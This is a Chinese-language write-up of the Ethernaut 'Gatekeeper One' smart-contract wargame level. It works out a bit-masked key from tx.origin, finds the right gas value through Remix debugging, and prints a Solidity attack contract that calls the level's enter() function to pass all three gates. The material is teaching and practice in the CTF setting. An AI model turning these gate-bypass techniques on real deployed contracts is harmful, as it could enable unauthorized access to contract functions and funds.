本關要通過三個modifier的gate,代表呼叫合約函數必須滿足三個要求。
gateOne:
require(msg.sender != tx.origin);
只需以另一合約呼叫關卡合約即可,跟4. Telephone一樣的要求。
gateThree:
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
先把tx.origin 取出來,令其在型態轉換時滿足上兩個要求,可用以下代碼達成︰
bytes8 key = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;
gateTwo:
require(gasleft().mod(8191) == 0);
根據官方文檔,gasleft函數會回傳剩餘的gas數量。
gasleft() returns (uint256)
: remaining gas
要知道在呼叫這句時gasleft會回傳什麼,最方便的方法就是使用Remix IDE發佈攻撃合約再以Debug查看。
下面為暫定的攻撃合約代碼︰
pragma solidity ^0.8.0;
interface IGatekeeperOne {
function enter(bytes8 _gateKey) external returns (bool);
}
contract GatekeeperOne {
address levelInstance;
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
function open() public {
bytes8 key = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;
IGatekeeperOne(levelInstance).enter{gas: 40955}(key);
}
}
下面為了解呼叫流程而在Remix IDE裹同時發佈了關卡合約及攻撃合約,設定Gas為40955,並以JavaScript VM Debug︰
可以看到在呼叫mod時Stack有兩個參數,其一為1fff (8191的16進制),另一為9efd (40701),就是從gasleft傳出又傳入mod作運算的數字。
可算出到gasleft函數為止花費Gas為40955-40701=254。
此時若把Gas換為254+8191*5 = 41209,再在JavaScript VM中運行一次,呼叫成功,可證思路正確。
此時回到測試網,我們會發現同一個數字在測試網中會回傳錯誤,這可能是因為compiler優化問題等因素影響。
再開啟Debug,這次留意看Stack中出現1fff (8191) 的前後,會發現這次是a026 (40998) ,對照上方的remaining gas: 40998,可以確定這是Gas的數量。
可見在測試網上到gasleft函數為止花費Gas為41209-40998=211,的確是有優化。
這次把數字換成211+8191*5=41166,完整代碼︰
pragma solidity ^0.8.0;
interface IGatekeeperOne {
function enter(bytes8 _gateKey) external returns (bool);
}
contract GatekeeperOne {
address levelInstance;
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
function open() public {
bytes8 key = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;
IGatekeeperOne(levelInstance).enter{gas: 41166}(key);
}
}
然後發送,呼叫成功。最後按提交,本關完成。